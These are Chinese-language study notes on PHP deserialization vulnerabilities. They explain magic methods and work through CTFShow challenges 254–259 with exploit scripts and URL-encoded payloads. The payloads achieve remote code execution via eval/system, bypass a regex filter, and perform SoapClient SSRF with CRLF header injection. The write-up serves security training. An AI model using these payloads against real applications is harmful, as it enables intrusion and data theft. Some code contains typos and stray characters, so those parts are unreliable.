Web学习45

知识点

1、什么是反序列化操作? -格式转换
2、为什么会出现安全漏洞? -魔术方法
3、反序列化漏洞如何发现? -对象逻辑
4、反序列化漏洞如何利用?-POP链构造
补充: 反序列化利用大概分类三类
-魔术方法的调用逻辑 -如触发条件
-语言原生类的调用逻辑 -如SoapClient
-语言自身的安全缺陷 -如CVE-2016-7124

反序列化课程点:
-PHP&JAVA&Python

序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换为对象
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象

PHP反序列化漏洞
原理:未对用户输入的序列化字符串进行检测,导致啊攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果,在反序列化的过程中自动触发了某些

class demotest{
        public $name = 'xiaodi';
        public $sex = 'man';
        public $age = '29';
}

将代码转换成我们熟知的字符串,字母的格式,这样我们在传输数据的时候更加的方便,比如说这上面的代码之间的空格就可以轻松的去表示。

老大的php反序列化文章:https://mp.weixin.qq.com/s/DGXCVu9CEPjLnNWlOGDvyg

案例

序列化操作例子-魔术方法&漏洞引发&变量修改等

<?php
class demotest{        
    public $name = 'xiaodi';       
    public $sex = 'man';        
    public $age = '29';
}
$example = new demotest();
$s = serialize($example);
echo $s.'<br>';
?>

O:8:”demotest”:3:{s:4:”name”;s:6:”xiaodi”;s:3:”sex”;s:3:”man”;s:3:”age”;s:2:”29”;} //运行结果为字符串

“O”:object
“8”:长度
“3”:3个变量
“s”:string类型
“4”:长度

<?php
class demotest{        
    public $name = 'xiaodi';       
    public $sex = 'man';        
    public $age = 29; //如果把单引号去掉,序列化结果是?
}
$example = new demotest();
$s = serialize($example);
echo $s.'<br>';
?>

O:8:”demotest”:3:{s:4:”name”;s:6:”xiaodi”;s:3:”sex”;s:3:”man”;s:3:”age”;i:29;} //运行结果中,age这里的类型变为i,也就是int类型

序列化:对象转换成字符串或数组

魔术方法利用点分析:

触发:unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法:

__construct(): //构造函数,当对象new的时候会自动调用
__destruct(): //析构函数当对象被销毁时会自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时,会被自动调用
__call(): //在对象上下文中调用不可访问的方法时触发
__callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //用于从不可访问的属性读取数据
__set(): //用于将数据写入不可访问的属性
__isset(): //在不可访问的属性上调用isset()或empty()时触发
__unset(): //在不可访问的属性上使用unset()时触发
__toString(): //把类当作字符串使用时触发
__sleep(): //serialize()函数会检查类中是否存在一个魔术方法__sleep()如果存在,该方法会被优先调用

CTFShow反序列化题型-原生类&POP构造

254

//题目源码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this ->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is".$flag;
        }else{
            echo "no vip,no flag";
        }
    }
}

$username = $_GET['username'];
$password = $_GET['password'];

if(isset($username) && isset($password)) {
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这题不涉及魔术方法,都是自己写的函数
payload:?username=xxxxxx&password=xxxxxx
这题了解一下函数的应用和逻辑就可以了,和反序列化没啥关系

255

//题目源码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false; //默认不是vip,但是这里不会自动转换为true
    
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
         return $this->username===$u&&$this->password===$p; 
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is".$flag;
        }else{
            echo "no vip,no flag";
        }
    }
}

$username = $_GET['username'];
$password = $_GET['password'];

if(isset($username) && isset($password)) {
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

256

EXP

<?php
class ctfShowUser{
    public $username='x';
    public $password='y';
    public $isVip=true;//保证isVip执行的时候为真
    
    public function checkVip(){
        return $this -> isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!=$this->password){
                echo "your flag is".$flag;
            }
        }else{
                echo 'no vip,no flag';
        }
    }
}	
        
$a = new ctfShowUser();
echo urlencode(serialize($a))

?>

payload:O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

O:11:”ctfShowUser”:3:{s:8:”username”;s:1:”x”;s:8:”password”;s:1:”y”;s:5:”isVip”;b:1;}

257

//题目源码
error_reporting(0);
highlight_file(__FILE__);
//这里出现了三个对象
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
    
    public funcition __construct(){
        $this->class = new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    private $usr='xxxxxx';
    public function getInfo(){
        eval($this->code);
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);//反序列化造成rce漏洞
    }

}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);//接收cookie值
    $user->login($username,$password);
}

EXP

<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor();
    }
}


class backDoor{
    private $code="system('cat f*');";
 
}

$a=new backDoor();
echo urlencode(serialize($a))
?>

payload:
O%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27cat+f%2A%27%29%3B%22%3B%7Dv

258

//题目源码
error_reporting(0);
highlight_file(__FILE__);
//这里出现了三个对象
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
    
    public funcition __construct(){
        $this->class = new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    public $usr='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);//反序列化造成rce漏洞
    }

}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
   if(!preg_match('/[oc]:\d+/i',$_COOKIE['user'])){\
           $user = unserialize($_COOKIE['user']);
   }
   $user->login($username,$password);
}

EXP

<?php

class ctfShowUser{
    private $class= 'backDoor';
    public function __construct() {
        $this->class = new backDoor();
    }
}

class backDoor{
    private $code = 'system("cat flag.php");';
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11',':+11',$a);
$c = str_replace(':8',':+8',$b);
echo urlencode($c);
?>

payload:
O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

259-PHP原生类反序列化的利用

相关文章

这题在flag.php中有相关代码:

$xff = explode(',',$_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!='127.0.0.1'){
        die('error')
}else{
        $token = $_POST['token'];
        if($token=='ctfshow'){
                file_put_contents('flag.txt',$flag);
        }
}
//需要一个token为ctfshow,还需要一个ip地址等于127.0.0.1

EXP

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1'))//调用原生链
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

D盾一扫就看到了webshell在zp.php,在里面发现了连接webshell的密码